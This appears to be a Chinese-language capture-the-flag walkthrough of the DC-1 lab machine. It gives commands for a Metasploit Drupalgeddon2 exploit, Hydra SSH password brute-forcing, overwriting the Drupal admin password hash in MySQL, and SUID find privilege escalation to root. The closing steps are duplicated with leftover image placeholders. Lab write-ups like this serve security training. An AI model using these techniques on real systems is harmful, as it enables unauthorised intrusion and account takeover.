靶机:DC-1
靶机介绍
环境
攻击机器:debian kali发行版
使用工具
- arp-scan
- metasploit
- hydra
- john the ripper
开始测试
打开靶机。
因为靶机与攻击机在同一网络内,所以使用kali上的arp-scan进行扫描。
测试一下发现192.168.56.101就是靶机的ip。
访问该ip,
看到页面上有"Drupal Site"的字样,应该是一个cms,所以使用metasploit查找一下
root@n4tsu:~# msfconsole
msf > search Drupal
选择日期最近而且rank为excellent的exp。
msf > use exploit/unix/webapp/drupal_drupalgeddon2
然后查看参数
msf > show options
只有RHOST即目标机器是需要设定的。
msf > set RHOST 192.168.56.101
然后发动攻击
msf > exploit
可以看到成功进入。
使用metasploit自带的shell:
meterpreter > shell
看到目录下有一个__flag1.txt__
所以
cat flag1.txt
查看:
提示查看cms的配置文件
drupal的配置文件在/sites/default/settings.php
cat /sites/default/settings.php
得到了__flag2__和数据库的用户名和密码!
尝试连接数据库,但是提示www-data用户权限不够。
尝试查看/etc/shadow,权限也不够:
于是这里需要提权。
无法查看shadow的话,查看一下/etc/passwd:
得到了flag4用户的用户名。
这里就可以使用hydra+john进行暴力破解。
root@n4tsu:~# hydra -l flag4 -P /usr/share/john/password.lst ssh://192.168.56.101
得到flag4用户的密码为orange
于是可以通过ssh远程连接。
在该用户目录下发现__flag4.txt__:
提示root目录里有一个flag。
连接数据库:
成功。
show databases;
use drupaldb
show tables;
SELECT * FROM users;
经百度,
这里用户的密码采用的加密方式为sha-512,试了下解密,解不出来,于是想到直接重置密码。
靶机/scripts/目录下自带了一个名叫password-hash.sh的进行加密的脚本
php /scripts/password-hash.sh n4tsu >233.txt
cat 233.txt
然后进入mysql,更新admin的密码为刚刚得到的。
UPDATE users SET pass="$S$DNYMGrrGNXbaOhWM45gvpJLRAZovLBCThL6oSAKc31Aw1nl4mxp6" WHERE name="admin";
成功。
接着使用用户名admin,密码n4tsu登陆进网站:
翻了一下找到一个__flag3__的界面:
…提到了find指令和shadow文件,应该是要使用find命令来提权,然后去查看/etc/shadow文件。
如何提权呢?提示了find命令的话,可以先查看一下具有suid权限位的文件
find / -type f -perm -u=s 2>/dev/null
注: -type f即文件,-perm -u=s 即user权限位为suid
可以看到find命令具有suid权限位,可以拿来提权。
先创建一个文件
touch getflag
然后查看下find命令的权限
find / -type f -name getflag -exec "whoami" \;
输出root
接着提权:
find / -type f -name getflag -exec "/bin/sh" \;
成功,查看最后一个flag:
至此,5个flag全部拿到。
输出root
接着提权:
find / -type f -name getflag -exec "/bin/sh" \;
[外链图片转存中…(img-ZQXGI06Z-1573735505356)]
成功,查看最后一个flag:
[外链图片转存中…(img-qurO029y-1573735505356)]
至此,5个flag全部拿到。